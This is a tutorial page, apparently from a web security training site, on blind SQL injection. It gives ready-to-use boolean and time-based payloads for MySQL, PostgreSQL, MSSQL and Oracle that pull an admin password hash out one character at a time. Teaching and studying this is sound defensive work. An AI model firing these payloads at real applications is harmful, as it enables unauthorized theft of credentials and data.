SQL Injection: The Complete Practical Guide

Blind SQL Injection: Boolean and Time-based

Extract data when the response shows nothing. Boolean-based inference, character-by-character extraction, and time-based blind SQL injection per DBMS, step by step.

Published

Blind SQL injection is injection where the application returns neither the query's data nor its errors. You cannot read anything off the page, so instead you ask the database yes/no questions and infer the data one character at a time.

What "blind" means

The injection is real, the query runs, but the output is invisible. No reflected rows, no error text. What you still have is influence: you can make the page behave one way when a condition is true and another way when it is false, or make it slow down on demand. That difference is your entire data channel.

Confirm it is injectable

Send a condition that is always true, then one that is always false, and compare the responses:

' AND 1=1-- -      (always true)
' AND 1=2-- -      (always false)

If the two differ in any observable way (body, length, status code), you have a boolean channel. If they are identical, you will need time.

Boolean-based: inferring one bit at a time

Ask a true/false question about the data and read the answer from the response difference. Is the first character of the admin password hash greater than m?

' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')>'m'-- -

A "true" response puts the character in the upper half of the range, "false" in the lower. Binary-search that position, then move to the next.

Extracting a string character by character

Pin each character exactly, then walk the string:

' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'-- -
' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),2,1))>109-- -

SUBSTRING (or SUBSTR on Oracle) picks the position, and ASCII turns the comparison into a numeric binary search. It is tedious by hand and trivial to script.

Time-based: when there is no visible difference

When true and false look the same, make the database wait on a true condition and time the request:

MySQL:    ' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')>'m',SLEEP(5),0)-- -
Postgres: '; SELECT CASE WHEN ((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')>'m') THEN pg_sleep(5) ELSE pg_sleep(0) END-- -
MSSQL:    '; IF ((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')>'m') WAITFOR DELAY '0:0:5'-- -

A response that takes about five seconds means the condition was true. Same binary search, measured in time. Keep the delay long enough to beat network jitter and short enough to stay fast.

Conditional delays per DBMS

DBMSSleep functionConditional form
MySQLSLEEP(5)IF(cond,SLEEP(5),0)
PostgreSQLpg_sleep(5)CASE WHEN cond THEN pg_sleep(5) ELSE pg_sleep(0) END
MSSQLWAITFOR DELAY '0:0:5'IF(cond) WAITFOR DELAY '0:0:5'
Oracledbms_pipe.receive_message(('a'),5)CASE WHEN cond THEN dbms_pipe.receive_message(('a'),5) ELSE NULL END

Automating the extraction

Blind extraction is pure repetition, so script it: a loop that binary-searches each character and walks the string. Writing that loop yourself once is the best way to understand what tools like sqlmap do under the hood. See the sqlmap guide when you want to automate.

Time-based is best learned by feel. Sign up free and extract a secret one character at a time.

← Back to SQL Injection: The Complete Practical Guide